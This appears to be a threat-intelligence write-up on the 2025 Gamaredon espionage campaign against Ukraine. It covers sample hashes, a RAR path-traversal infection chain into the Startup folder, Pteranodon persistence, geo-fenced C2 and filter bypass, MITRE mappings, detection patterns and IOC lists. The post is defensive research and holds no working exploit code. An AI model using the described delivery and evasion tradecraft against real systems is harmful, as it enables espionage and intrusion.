Inside Gamaredon 2025: Zero-Click Espionage at Scale



Campaign Summary

  • Timeframe: February – November 2025
  • 37 analyzed samples
  • New zero-click infection vector -> CVE-2025-6218
  • New C2 architecture: DynDNS + Fast-Flux + Telegram + graph.org
  • Two-stage geo-fencing + header firewall
  • Pteranodon as the central Stage-2 loader
  • Server-side registration required for deeper payload access

As the year slowly crawls toward its inevitable end (like certain Russian infrastructure), it’s a good moment to take another detailed look at Gamaredon’s ongoing phishing campaign targeting Ukraine.

I’ve previously published a high-level overview of this campaign, you can check that article out if you want the “lite” version.
Today, however, we’re digging deeper: how to untangle the FSB’s infrastructure for this operation and how we managed to extract additional payloads directly from their servers with varying degrees of cooperation from Microsoft’s RAR parser.

A quick thank-you goes out to my brother Ramon, who assisted especially in retrieving additional payloads from Gamaredon’s backend. Family bonding through state-sponsored malware analysis, truly heartwarming.

Dataset Overview

For this analysis, I organized all samples into a structured table divided into Stage-1 and Stage-2 to Stage-X artifacts.

  • Stage-1 samples are the actual phishing attachments delivered to victims (HTA, LNK, RAR archives).
  • Stage-2 to Stage-X samples represent everything the Gamaredon infrastructure subsequently downloads once the initial loader executes or the vulnerability is triggered.

Each entry contains:

  • Filename: original name taken from the email attachment or payload
  • Hash: SHA-256 fingerprint for verification
  • Dropped Files: anything extracted or written by the sample (HTA/PS1 loaders, Pteranodon modules, persistence scripts, etc.)

This allows us to map the infection chain fully, from the very first email to the deeper payload ecosystem sitting behind Gamaredon’s firewall-like C2 logic.

In total, we analyzed 37 samples for this write-up.

Stage 1 Samples (Click to open)

SampleHashDropped Files
e4258bdfa82a1065aa1095ae2c6da4240f6ebe20ba285e56f1e216eec5984510.htae4258bdfa82a1065aa1095ae2c6da4240f6ebe20ba285e56f1e216eec5984510
fc249b4686f4cfd98ab016aac32ecccf947012321a321d8e6463c17401b0c700.zipfc249b4686f4cfd98ab016aac32ecccf947012321a321d8e6463c17401b0c7002-1180-25_24.06.2025.HTA
eed1ab171c449173059d2c5955e6ddfa73aaf952c612210b82c85137f42e01b8.zipeed1ab171c449173059d2c5955e6ddfa73aaf952c612210b82c85137f42e01b82-1180-25_24.06.2025.HTA
478604b0f9323082b61521045a310b3362f405a0781a735dfe72f8ffed054be7.zip478604b0f9323082b61521045a310b3362f405a0781a735dfe72f8ffed054be72-1180-25_24.06.2025.HTA
68314e93b47d774e378d4c573f08417bf40ead61caaeafbc128c3c6dff96ae0c.rar68314e93b47d774e378d4c573f08417bf40ead61caaeafbc128c3c6dff96ae0cЗвернення народного депутата Верховної Ради України IX скликання 11-2967-25_23.09.2025.HTA
11-2967-25_23.09.2025.pdf
82e05b396443fcedeb4b165a8e5ee4d85195b4ba0a58a085670525598e46eedd.zip82e05b396443fcedeb4b165a8e5ee4d85195b4ba0a58a085670525598e46eedd82e05b396443fcedeb4b165a8e5ee4d85195b4ba0a58a085670525598e46eedd.rar
Письмо.pdf
Письмо.pdf:.._AppData_Roaming_Microsoft_Windows_Start Menu_Programs_Startup_run.bat
Письмо.pdf:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Письмо.pdf:stream_12xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
7b936b2885c3b02243d7cbf751f341840f26cd0de7d4910843159fbc05e1db60.rar7b936b2885c3b02243d7cbf751f341840f26cd0de7d4910843159fbc05e1db60Передати засобами АСУ Дніпро_6_3_4_4265_17.11.2025.pdf
Передати засобами АСУ Дніпро6_3_4_4265_17.11.2025.pdf:............_AppData_Roaming_Microsoft_Windows_Start Menu_Programs_Startup_6_3_4_4265_17.11.2025.HTA
05f23e5c668c73128b6140b2d7265457ce334072a0b940141a839ec3e7234414.rar05f23e5c668c73128b6140b2d7265457ce334072a0b940141a839ec3e7234414Передати засобами АСУ Дніпро_9_5_5_433_17.11.2025.pdf
Передати засобами АСУ Дніпро9_5_5_433_17.11.2025.pdf:............_AppData_Roaming_Microsoft_Windows_Start Menu_Programs_Startup_9_5_5_433_17.11.2025.HTA
83141b865be20f01dbb8520577500f57ec26357153ee093c5ba46f787aab7f7c.lnk83141b865be20f01dbb8520577500f57ec26357153ee093c5ba46f787aab7f7c
331eedee2d5df87c46b93b719ca623aeebafc91157d70ffe381cd1c06ae46841.rar331eedee2d5df87c46b93b719ca623aeebafc91157d70ffe381cd1c06ae46841.Довiдка щодо невиконання….lnk
Довiдка щодо невиконання….docx
237696ecc370688a8d1894eb2f95af53a3c0f8d42eb540b7f529b4d4f4492bc0.rar237696ecc370688a8d1894eb2f95af53a3c0f8d42eb540b7f529b4d4f4492bc0Передати засобами АСУ Дніпро_2_7_4_62_13.11.2025.pdf
Передати засобами АСУ Дніпро2_7_4_62_13.11.2025.pdf:............_AppData_Roaming_Microsoft_Windows_Start Menu_Programs_Startup_2_7_4_62_13.11.2025.HTA
a1832e9c58b9b3d355775ecaa6567d9727f4a39cf372fa9c7c2b42d70e98d0e1.rara1832e9c58b9b3d355775ecaa6567d9727f4a39cf372fa9c7c2b42d70e98d0e1Передати засобами АСУ Дніпро_3_8_2_7442_13.11.2025.pdf
Передати засобами АСУ Дніпро3_8_2_7442_13.11.2025.pdf:............_AppData_Roaming_Microsoft_Windows_Start Menu_Programs_Startup_3_8_2_7442_13.11.2025.HTA
d9fec61a4b1bb0ee158e65a7cea8c8098bf1ea2117289a48c2ae9e373bb50e22.rard9fec61a4b1bb0ee158e65a7cea8c8098bf1ea2117289a48c2ae9e373bb50e22Передати засобами АСУ Дніпро_2_1_1_7755_12.11.2025.pdf
Передати засобами АСУ Дніпро2_1_1_7755_12.11.2025.pdf:............_AppData_Roaming_Microsoft_Windows_Start Menu_Programs_Startup_2_1_1_7755_12.11.2025.HTA
95d30188fcc3864a6c8f9c01e27a588ea2b456f55b737c27f4b0cd756b887013.hta95d30188fcc3864a6c8f9c01e27a588ea2b456f55b737c27f4b0cd756b887013
6aa9741f8b8629d0398049fa91dc5e7c28fd0d63bc76b3fd9be2dc196265263f.rar6aa9741f8b8629d0398049fa91dc5e7c28fd0d63bc76b3fd9be2dc196265263fПередати засобами АСУ Дніпро_2_1_1_7755_11.11.2025.pdf
Передати засобами АСУ Дніпро2_1_1_7755_11.11.2025.pdf:............_AppData_Roaming_Microsoft_Windows_Start Menu_Programs_Startup_2_1_1_7755_11.11.2025.HTA
0cebe68cbe06a390acee24c33155bb1d9910d4edcb660d0d235ce2a4e3c643c5.hta0cebe68cbe06a390acee24c33155bb1d9910d4edcb660d0d235ce2a4e3c643c5
c7726c166e1947fdbf808a50b75ca7400d56fa6fef2a76cefe314848db22c76c.zipc7726c166e1947fdbf808a50b75ca7400d56fa6fef2a76cefe314848db22c76cЩодо надання інформації (військова частина А0135_11-967_11.11.2025).pdf
Щодо надання інформації (військова частина А0135_11-967_11.11.2025).pdf:.........._.._AppData_Roaming_Microsoft_Windows_Start Menu_Programs_Startup_11-967_11.11.2025.HTA
5437c7bc4423b8acb8a6646ac2cd5379101ac73b6011549b25f1cd95bb333cea.rar5437c7bc4423b8acb8a6646ac2cd5379101ac73b6011549b25f1cd95bb333ceaЗапит на отримання інформації командира військової частини А0135_11-967_10.11.2025.pdf
Запит на отримання інформації командира військової частини А0135_11-967_10.11.2025.pdf:.........._.._AppData_Roaming_Microsoft_Windows_Start Menu_Programs_Startup_11-967_10.11.2025.HTA
21ad5d05a43d599b6225cd883b10356f4b8cd465a2fcb2745d90cfa65c6cffa1.rar21ad5d05a43d599b6225cd883b10356f4b8cd465a2fcb2745d90cfa65c6cffa1Перегляд підходів до призову під час мобілізації_2-3716-25_07.11.2025.pdf
Перегляд підходів до призову під час мобілізації2-3716-25_07.11.2025.pdf:............_AppData_Roaming_Microsoft_Windows_Start Menu_Programs_Startup_2-3716-25_07.11.2025.HTA
7a1417492979f569747bf11211bf523d5479c163e717651ebba20ad73834b8bb.hta7a1417492979f569747bf11211bf523d5479c163e717651ebba20ad73834b8bb
18c4d384f8fef858accb57fff9dc4036bf52a051b249696b657162b1adcbf104.hta18c4d384f8fef858accb57fff9dc4036bf52a051b249696b657162b1adcbf104
f35a91aa6b720f33fb971deee228e48a07d51df9762de6d616481fad1008b7ea.htm5a8aada4bbc37d79f93349587a639f322eb4d068dd0c5b8131d3b69cf9c833e0
5a8aada4bbc37d79f93349587a639f322eb4d068dd0c5b8131d3b69cf9c833e0.zip5a8aada4bbc37d79f93349587a639f322eb4d068dd0c5b8131d3b69cf9c833e02-13476-2025_08.09.2025.pdf
Повістка про виклик до військового комісаріату 2-13476-2025_08.09.2025.HTA
27bd90199e426719d1c3ef214215a17fae23f257d8bcb7a806e394e8666158f0.hta27bd90199e426719d1c3ef214215a17fae23f257d8bcb7a806e394e8666158f0
3611035faf63b8bf14c88a9bd02e3783f2bde3128c97f6317d4d4c912463ef39.xhtml3611035faf63b8bf14c88a9bd02e3783f2bde3128c97f6317d4d4c912463ef39
2-1180-25_03.06.2025.HTA9ce60dde11c1ad72af22ccd774c0efe9c5a206e9dcfbc2388a1b09cc70747f09
2f3b6223e31562592e86ae4dd4a5d0ceff518cf4feeb98f796febcb66d9148c4.zip2f3b6223e31562592e86ae4dd4a5d0ceff518cf4feeb98f796febcb66d9148c4Perelik_dokumentiv.txt.lnk
raport-na-otrimannya-dovidki-pro-obstavini-travmi.pdf
2-1180-25_24.06.2025.HTAab54862f180b379cb8d612fbb22891402e7d55151dba87e7b11e45c5e45b6d7c

Stage 2-X Samples

SampleHashDrops
Dropper-Sample-1.hta9b14d367c99b7d9187a58406ad3eb55e2dee12b4b2bc341f9058c622b7b87fa3Dropper-Sample-1.1.ps
Dropper-Sample-1.1.psf1a52573d11b3bee874e7d29c15d952492e2f4a72e2213fdb9274d0555d90978Lockdown-Script-Sample-1.ps
Lockdown-Script-Sample-1.ps9627415eafc3be2756d73b4440372fc99e99e25cd53c012ffccdc5d35ce0f70b
Dropper-Sample-2.hta9fc2a247313b078d795419b7d1c7c0cd907a103a4c64ebab6c96ddb7b958d230Dropper-Sample-2.1.hta
Dropper-Sample-2.1.hta7f467084343ca7986a188108390c1de3c98bb211e304cc4bc700125c1ea495f6Wiper-Sample-1.ps
Wiper-Sample-1.psd4b5e0b45eab241ef03b64f0a52929fdd15e8ef783e1c7952ba01b199e4e3932
94298febd57718f0e05e61c9966f95347598e7ba1a05a48b8c9f9151023a839a.base6494298febd57718f0e05e61c9966f95347598e7ba1a05a48b8c9f9151023a839a008af94fd04c55582d9d8d6547f1276c04523494b25e7ff8f8f1bdc444abf1e7
aa572532ab1c8a731e7ba32e97ba180268eee8e6a74a2b9c4dc3efb669edb9af.psaa572532ab1c8a731e7ba32e97ba180268eee8e6a74a2b9c4dc3efb669edb9af


Operational Objective of the Campaign

The analyzed artifacts make the intention behind this operation painfully clear:
the campaign is aimed squarely at Ukrainian military, governmental, political, and administrative entities.

Based on filenames, document themes, and sender infrastructure, Gamaredon’s operational goals can be summarized as follows:

  • Military intelligence collection (documents, internal communication, location data, organization charts)
  • Rapid exfiltration (Pteranodon immediately sends host-, user-, and system-metadata to the C2)
  • Long-term espionage (stealers, wipers, tasking modules, USB spreaders)
  • Disruption & anti-forensics (registry cleaning, MRU deletion, startup folder cleanup)
  • Targeted propagation inside internal networks (USB/NAS/network spread)

This is not an opportunistic campaign. It is a structured, military-oriented espionage and sabotage operation consistent with, and likely coordinated by Russian state intelligence.


Campaign Timeline


Campaign Description

Gamaredon continues to bombard Ukrainian organizations with phishing emails, using a rotating set of attachments and themes.
The filenames of the analyzed samples strongly indicate military and political targeting, and the underlying infrastructure is built on large DynDNS farms and Fast-Flux C2 nodes an architecture that screams “FSB budget optimization,” if you will.

Until early November 2025, the group primarily distributed HTA and LNK attachments.
Then they shifted strategy, adopting a new Windows vulnerability CVE-2025-6218, allowing infections without the victim consciously executing anything.

Their new favorite delivery vector?
RAR archives containing seemingly harmless documents.

What happens?

When a victim opens the RAR archive:

  • the vulnerability triggers immediately
  • a hidden HTA is extracted straight into the Windows Startup folder
  • reboot -> automatic execution -> connection to Gamaredon’s C2
  • further payloads are downloaded and initial reconnaissance begins

A classic example of Microsoft doing Microsoft things.


Infection Chain (CVE-2025-6218 & CVE-2025-8088)

The multi-stage infection chain used in this campaign is simple, elegant, and annoyingly effective.
A key component is the server-side access control logic, which tightly restricts who is allowed to receive further payloads, ensuring that analysts outside the target region receive nothing but empty responses and existential frustration.


1. Initial Access: Web-based Loaders

Entry points include:

  • HTA attachments
  • LNK droppers
  • RAR archives containing HTA or LNK files
  • And increasingly:
    • RAR archives exploiting CVE-2025-6218 and CVE-2025-8088

CVE-2025-6218

  • Vulnerability allowing automatic file extraction into privileged directories
  • HTA placed into Startup without user execution

CVE-2025-8088

  • MSHTML execution bypass, circumventing Windows 11 hardening

All these delivery formats share one purpose:
download and launch Pteranodon, the central stage-2 loader.


2. Pteranodon Loader

Once the initial dropper executes, it fetches Pteranodon via HTTP(S).
This is where Gamaredon’s C2 firewall kicks in.

Persistence Mechanisms

Pteranodon uses multiple persistence vectors depending on available permissions:

  • Registry Run keys (HKCU and occasionally HKLM)
  • Scheduled tasks (5 – 30 minute intervals)
  • HTA files in the Startup folder
  • Hidden script copies inside %APPDATA%, %LOCALAPPDATA%, and %PROGRAMDATA%

These ensure the loader survives multiple reboots and can continuously request new tasks and modules.

Communication Structure

Gamaredon’s C2 traffic is distinctive:

  • XOR + Base64 layering
  • Pseudo-JSON structures (loose key/value pairs)
  • Regular tasking requests (download payload, run wiper, USB spread, resend systeminfo)
  • Operator fingerprints (recurring variable names and patterns)

Pteranodon is intentionally simple, lightweight, and extremely flexible, the malware equivalent of a Russian Lada:
It may look primitive, but you’ll be surprised how long it keeps going.


3. Access Control Logic (C2 Firewall)

Gamaredon uses a multi-layered filtering system that serves as both OPSEC and anti-analysis defense.

Purpose of the Access Control Logic

The C2:

  • only responds fully to Ukrainian IP ranges
  • verifies browser headers
  • requires system registration before delivering deeper payloads

This effectively locks out researchers, sandboxes, cloud instances, and… pretty much everyone except the intended victims.

Stages

Stage 1: IP Validation

  • Non-Ukrainian IP -> HTTP 200 with empty body
  • Ukrainian IP -> proceed

Stage 2: Header Validation

  • Must supply correct:
    • Identifier/Token
    • User-Agent
    • Accept-Language

Invalid -> serve a 0-byte file
Valid -> proceed

Stage 3: Registration & Tasking

Full payload access only after system registration:

  • hostname
  • username
  • local IP
  • environment
  • token

Then the C2 provides:

  • USB/network spread modules
  • Wipers
  • Persistence modules
  • Stealers
  • Additional droppers

The basic access control logic looks like this:


4. Campaign Characteristics

  • Strict Ukraine-only geo-fencing
  • Strong anti-analysis (empty responses instead of errors)
  • High variation of initial access files
  • Consistent use of Pteranodon
  • Increased abuse of RAR + CVE-2025-6218
  • Multiple drops per day

Analysis

This article focuses more on mapping the infrastructure than on deep reverse-engineering.
If you want in-depth Stage-1 payload analysis, check my previous article.

Once the malicious attachment is executed, it contacts a remote Gamaredon domain and retrieves Pteranodon.

Key observations from sandboxing

  • Most sandbox environments receive empty responses, expected due to the C2 filtering
  • Simulating headers alone is insufficient
  • Regular Ukrainian proxies also fail
  • Rotating Ukrainian residential proxies do work
  • However, deeper stages require successful registration, which makes automated extraction time-consuming

After bypassing the filters, we obtained obfuscated HTAs containing Base64-encoded PowerShell.

These loaders then fetch:

  • Pteranodon
  • wiper modules
  • auxiliary droppers
  • etc.

All files are provided in the sample table for further analysis.

Telegram & graph.org C2 Distribution

Gamaredon uses:

  • Telegram channels for rotating C2 IPs and cryptographic material
  • graph.org pages for rotating payload URLs

Both platforms are:

  • ideal for operations requiring frequent updates
  • highly resilient
  • hard to take down



https://graph.org/vryivzphxwc-11-11

I built a tracker that extracts and publishes these rotating IPs, domains, and secrets to GitHub daily, you can access it here.


Fast-Flux Infrastructure (194.67.71.0/24)

One IP stood out: 194.67.71.75, belonging to REG.RU, a well-known high-abuse Russian hosting provider.

Findings:

  • 200+ IPs in the subnet engaged in coordinated port-scanning against Ukrainian targets (April 2025)
  • 44,157 PassiveDNS entries for the 256 hosts
  • 39,903 unique domains
  • Typical Fast-Flux characteristics:
    • extremely short TTL
    • rapid IP rotation
    • each IP hosting dozens of unrelated domains
    • low-quality disposable domain patterns
    • consistent abusive behavior

This subnet is:

  • clearly Russian-controlled
  • used for offensive operations
  • structurally similar to GRU-affiliated infrastructure
  • highly likely to be connected directly or indirectly to the FSB


I built a graph on VirusTotal to visualize the malware distribution by the subnet:


Changes in the 2025 Gamaredon Campaign

Compared to 2021 – 2024, the 2025 operation shows significant evolution:

1. Zero-Click via CVE-2025-6218

RAR-based exploit allows silent execution with no user interaction.

2. RAR-First Delivery

RAR replaced HTA/LNK as the primary attachment format.

3. More complex access control

Geo-fencing, header checks, registration tokens, and multi-stage filtering.

4. Decentralized C2

Heavy reliance on Telegram + graph.org.

5. Expanded Stage-1 variations

HTA, LNK, RAR+LNK, RAR+HTA, RAR exploiting CVE-2025-6218.

6. Stronger persistence & propagation

Better registry/task persistence and more aggressive lateral movement.


Summary

The 2025 Gamaredon campaign is no longer just “phishing with extra steps”
It has evolved into a modular, highly dynamic, multi-infrastructure malware ecosystem, powered by:

  • Zero-click exploits
  • Geo-fenced C2 delivery
  • Fast-Flux DNS
  • Telegram distribution
  • graph.org rotation
  • Persistent Pteranodon loaders

…all wrapped in a design philosophy best described as:
“If it works, ship it, if it breaks, wrap it in Base64 and ship it anyway.”


MITRE ATT&CK Mapping

The current Gamaredon campaign maps to a wide range of relevant MITRE ATT&CK techniques.
Below is a consolidated overview of the most important tactics and techniques observed during the various stages of the operation: (Click To Open)

TA0001 – Initial Access

T1566.001 – Phishing: Spearphishing Attachment
Distribution of HTA, LNK, and RAR attachments using thematically relevant document names.

T1204.002 – User Execution: Malicious File
Execution of HTA/LNK loaders, or automatic execution via CVE-2025-6218.


TA0002 – Execution

T1059.005 – Command and Scripting Interpreter: Visual Basic
Extensive use of HTA and VBScript for initial loader execution.

T1059.001 – Command and Scripting Interpreter: PowerShell
Used to download and run Pteranodon modules.

T1203 – Exploitation for Client Execution
CVE-2025-6218 enabling automatic HTA placement and execution (zero-click).


TA0003 – Persistence

T1547.001 – Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
Persistence achieved via HTA scripts placed in the Startup folder and registry autostarts.

T1053.005 – Scheduled Task/Job
Creation of scheduled tasks that periodically re-execute Pteranodon or supplemental scripts.


TA0004 – Privilege Escalation

(No explicit privilege escalation techniques observed; Gamaredon typically operates under user-level permissions.)


TA0005 – Defense Evasion

T1027 – Obfuscated/Encrypted Files and Information
Heavy use of BASE64 and XOR layers to obfuscate code and communications.

T1497 Virtualization/Sandbox Evasion
C2 access-control (IP/header validation) to prevent payload delivery to researchers or sandboxes.

T1070 – Indicator Removal on Host
Wiper/cleanup scripts remove MRUs, registry traces, and startup entries.


TA0006 – Credential Access

(Seen in earlier Gamaredon campaigns; less prominent in 2025.)
T1552.001 – Unsecured Credentials: Credentials in Files
Some modules harvest document contents and autocomplete data.


TA0010 – Exfiltration

T1041 – Exfiltration Over C2 Channel
Hostnames, usernames, system metadata, and environment details sent directly to C2.


TA0011 – Command and Control

T1071.001 – Application Layer Protocol: Web Protocols
C2 communication over HTTP/HTTPS.

T1102.002 – Web Service: Telegram
Use of Telegram channels for dynamic IP rotation and distribution of secrets/tokens.

T1102 – Web Service (graph.org)
Use of graph.org pages for periodically rotating payload URLs.

T1568.002 – Dynamic DNS
Frequent use of DynDNS for rotating C2 domains.

T1090 – Proxy
Fast-Flux infrastructure in subnet 194.67.71.0/24 used to proxy malicious infrastructure.


TA0009 – Collection

T1119 – Automated Collection
Immediate collection of system information after Pteranodon’s initial registration.


TA0008 – Lateral Movement / Propagation

T1091 – Replication Through Removable Media
USB-based propagation (a long-standing Gamaredon tactic).

T1021 – Remote Services (limited)
Some modules show capability for internal network spread.


High-Level Indicators for Threat Hunters

This section summarizes the most important behavioral indicators that SOCs, threat hunters, and CERT teams can use to detect Gamaredon activity early.
These are high-level detection patterns rather than sample-specific IOCs

1. Network Indicators

  • HTTP requests from mshta.exe or powershell.exe to DynDNS domains, graph.org pages, or Ukrainian/Russian subnets
  • Repeated GET requests resulting in 0-byte responses
  • Outbound traffic to 194.67.71.0/24 (REG.RU Fast-Flux cluster)
  • Unexpected connections to Telegram API/channels without active user sessions
  • Very low DNS TTL values for domains rotating across many IPs

2. File System Indicators

Presence of suspicious script files:

  • HTA/VBS in the Startup folder:
    %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\*.hta
  • Dropped PowerShell/VBS files in:
    • %APPDATA%
    • %LOCALAPPDATA%
    • %PROGRAMDATA%
  • Files with pseudo-legitimate names such as Update.hta, Sync.hta, etc.

3. Registry Indicators

New or unusual autostart entries in:

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  • HKLM\Software\Microsoft\Windows\CurrentVersion\Run

Suspicious values like:
SystemUpdate, WinService, TaskHost, MSConfigSync


4. Process Indicators

Suspicious execution of:

  • mshta.exe
  • wscript.exe
  • cscript.exe
  • powershell.exe

Especially when combined with:

  • obfuscated arguments
  • Base64-encoded payloads
  • long XOR/Chr() sequences
  • inline HTTP URLs

5. Anti-Analysis / Sandbox Indicators

  • Malware returns completely empty responses when contacted from non-Ukrainian IPs
  • Stage loaders delivering 0-byte payloads when no registration token is provided
  • Behavior drastically changes depending on IP region and C2 validation

6. Tactical Patterns

  • Multiple execution stages within a very short timeframe
  • Frequent contact with newly generated DynDNS domains
  • Appearance of new graph.org pages containing short random identifiers
  • Telegram messages containing random Base64 blobs representing rotating secrets/IPs

7. Runtime Indicators (Sysmon/SOC)

Event ID 11 – file creation within Startup folder

Event ID 1 – mshta.exe -> powershell.exe -> network connection

Event ID 3 – outbound network connections from mshta.exe or powershell.exe

Event ID 7 – unexpected script engine DLL loads


IOCs

In our Analysis we could find the following IOCs used in this campaign:


IOC-TypeIOC-Value
DynDNS Payload Delivery Serveracess-pdf.webhop.me
creates.webhop.me
digitall.webhop.me
dears.serveirc.com
dilopendos.serveirc.com
downcraft.serveirc.com
fixer.serveirc.com
fixfactors.serveirc.com
kia-court.serveirc.com
political-news.serveirc.com
readers.serveirc.com
serversftp.serveirc.com
ssu-procuror.redirectme.net
yeard.serveirc.com
papilonos.hopto.org
diskpart.myddns.me
selodovo.myddns.me
document-downloads.ddns.net
systems-debug.ddns.net
document-prok.freedynamicdns.org
downloads-document.freedynamicdns.org
write-document.freedynamicdns.org
procurature.freedynamicdns.org
print-documents.freedynamicdns.net
google-pdf.redirectme.net
hosting-redirect.sytes.net
tillthesunrise.sytes.net
open-files.systes.net
open-pdf.serveftp.com
pasive-host.gotdns.ch
Cloudflareapp-334825a6-4a2b-48bc-be92-e0582d656006.cleverapps.io
libraries-thus-yale-collaborative.trycloudflare.com
vacations-mic-games-scale.trycloudflare.com
incidence-polished-expires-denver.trycloudflare.com
streams-metallic-regulatory-armor.trycloudflare.com
divine-water-36e7.5ekz2z6pjk.workers.dev
long-king-02b7.5ekz2z6pjk.workers.dev
quietunion.48clhonm1m.workers.dev
divine-water-5123.svush66274.workers.dev
blackvoice.lydef24298.workers.dev
vaporblue.ddnsking.com
Domainsrqzbuwewuvnbbaucfhjl.supabase.co
For.estaca.ru
exorcise.me
andonceagain.online
gihs.andonceagain.ru
andonceagain.ru
antresolle.ru
IP Adresses5.181.2.158
5.181.2.161
95.163.236.162
185.168.208.228
194.58.66.5
194.58.66.132
194.58.66.192
194.67.71.75
194.87.240.141
194.87.230.166
194.87.240.215
194.87.240.217
185.39.204.82
45.141.234.234
5.8.18.46
103.224.182.251
144.172.84.70
45.32.220.217
65.38.120.43
64.7.199.177
172.104.206.42
107.189.18.173
107.189.23.61
Telegram URLshttps://www.telegram.me/s/natural_blood
https://www.telegram.me/s/oberfarir
https://telegram.me/s/teotori
URLs/gss_11.11.2025/kidneyfih/broadlyrQZ.pdf
/gpd_07.11.2025r/disputeqG1/concealedn2N.pdf
/moss_10.11.2025/futureHtG/accountc7z.pdf
/SUU_11.11.2025/dicontentedOhr/scoundrelit1.pdf
/SVrr_12.11.2025/crookoxQ/learningB4J.pdf
/mmoUU_13.11.2025/evolutionKPm/armourV2P.pdf
/sss_10.11.2025/dialGsd/horribleNQx.pdf
/ss_07.11.2025/flashlightsK8Q/pondjsQ.pdf
/motherrDJ/ssu/flowerbedD6M/dressmakerpvv.pdf
/sprdvth/tailor.ps1
/regretxso/GP4/investigationer4/exhibtionLD6.pdf
/OD/sensationaSL/AprilcWs.jpeg
/SS/atomN2s/arwardU26.jpeg
/OD/remisshKY/consentedjtP.jpeg
/OD/quitzU2/comparativelyNWU.jpeg
/Gost/pitchedcbY/intenseLKt.jpeg
/GPuUkr/satALU/eventfulpNq.pdf
/prosperousd92/allowingclO
/prosperousd92/allowingclO
Documentsдодаток.doc
дск.doc
доповідна запискa.doc
супровід катування.doc
лист до.doc
убд.doc
наказ наряд.doc
ГУР МОУ.doc
згвалтування.doc
супровод.doc
обезголовлення військовополоненого.jpeg
обезголовлення українського військовополоненого.jpeg
згвалтування військових.jpeg
фото секс.jpeg

How a Russian Threat Actor Uses a Recent WinRAR Vulnerability in Their Ukraine Operations


How a Russian Threat Actor Uses a Recent WinRAR Vulnerability in Their Ukraine Operations

Today we’re taking a look at several malware samples from the advanced persistent threat group “Primitive Bear” aka “Gamaredon”.

Primitive Bear is a Russian state-sponsored Advanced Persistent Threat (APT) group that has been active since at least 2013. With high confidence, the group is attributed to the Federal Security Service of the Russian Federation (FSB), Russia’s domestic intelligence service.

The most recently circulating malware samples caught my attention because they all follow the same pattern and exploit a newly disclosed vulnerability CVE-2025-6218 to load additional malware in later stages.

In this post, I want to walk you through the methodology and the infrastructure used by the attacker.

Below is an overview of the samples I analyzed that make use of CVE-2025-6218, along with their origin.
I will continue analyzing additional samples in order to map the attacker’s infrastructure as comprehensively as possible.


Samples leveraging CVE-2025-6218

Click here to open table

FilenameHash (SHA256)SourcesFile Type
Повістка про виклик_357-16230-25_24.10.2025.pdf7e7cdaac7a508b43d0971c92c72517a93f2dabdc0b91b7e4250bc4f672158bfcMalware BazaarASCII text
Повістка про виклик_357-16230-25_24.10.2025.pdf:.._.._.._.._.._.._AppData_Roaming_Microsoft_Windows_Start Menu_Programs_Startup_357-16230-25_24.10.2025.HTAfe3c9988490f950ed0d34d807664161bd90ef4e981e314f5a62e37cdd2cc2127Malware Bazaarhta text/html
Щодо надання інформації (військова частина А0135_11-967_11.11.2025).pdf5aea8e8fa381092e9e72f8674254ea35c885562f9e94617c610102034f21d17eMalware BazaarASCII text
Щодо надання інформації (військова частина А0135_11-967_11.11.2025).pdf:.._.._.._.._.._.._AppData_Roaming_Microsoft_Windows_Start Menu_Programs_Startup_11-967_11.11.2025.HTA74c2e95feea3c8a33be654925b3ae93ef7dc9c0b52a853d2230f88fbeda525f4Malware Bazaarhta text/html
Перегляд підходів до призову під час мобілізації_2-3716-25_07.11.2025.pdf0e0d2d2d286e835e13464c87bb70209aaea32994d916aa0bfbb10e2a391b8afcMalware BazaarASCII text
Перегляд підходів до призову під час мобілізації_2-3716-25_07.11.2025.pdf:.._.._.._.._.._.._AppData_Roaming_Microsoft_Windows_Start Menu_Programs_Startup_2-3716-25_07.11.2025.HTAd101aff41ca5ead86bd9dfd53b4969e69ab31ae5ca31cf27ed44b90d66b9625aMalware Bazaarhta text/html
Запит на отримання інформації командира військової частини А0135_11-967_10.11.2025.pdf76884bb1338372a61b99fcb6f3a302d5260ced3292d012063ff5f20e0fb62474Malware BazaarASCII text
Запит на отримання інформації командира військової частини А0135_11-967_10.11.2025.pdf:.._.._.._.._.._.._AppData_Roaming_Microsoft_Windows_Start Menu_Programs_Startup_11-967_10.11.2025.HTA0716db7ad22fc3f039848f0bd2ea3b8efaa8ad6b2e1ea4475631fc6e317d3d2bMalware Bazaarhta text/html
Передати засобами АСУ Дніпро_2_1_1_7755_11.11.2025.pdf

fc2cd4345ed345c16f627d0c75ffea0b9090b856ca43078810fa2635ff662dc5Malware BazaarASCII text
Передати засобами АСУ Дніпро_2_1_1_7755_11.11.2025.pdf:.._.._.._.._.._.._AppData_Roaming_Microsoft_Windows_Start Menu_Programs_Startup_2_1_1_7755_11.11.2025.HTA18c7bfe2ac5dc6f971af5a1b43da1377f6bf25239c073a1950885858e5fb5734Malware Bazaarhta text/html
Передати засобами АСУ Дніпро_2_1_1_7755_12.11.2025.pdf04cf7d194a9f3deb0e9e3c9232e09c47185faeebbf8ff8932e55fa8ce054d2a9Malware BazaarASCII text
Передати засобами АСУ Дніпро_2_1_1_7755_12.11.2025.pdf:.._.._.._.._.._.._AppData_Roaming_Microsoft_Windows_Start Menu_Programs_Startup_2_1_1_7755_12.11.2025.HTA

49c57c4d29ac80690be8b12f45c678d150fe93ced4e047290f890aa9aa01d504Malware Bazaarhta text/html
Передати засобами АСУ Дніпро_3_8_2_7442_13.11.2025.pdf

4ce83c4209c55111c69b1c2506a7496068be56e5e507eac8f23e9e04cf901f65Malware BazaarASCII text
Передати засобами АСУ Дніпро_3_8_2_7442_13.11.2025.pdf:.._.._.._.._.._.._AppData_Roaming_Microsoft_Windows_Start Menu_Programs_Startup_3_8_2_7442_13.11.2025.HTA

5c93b9b1fe5de1838c67941176851f5ab4222b2f6e75ef3c8312c15f2bcffecbMalware Bazaarhta text/html
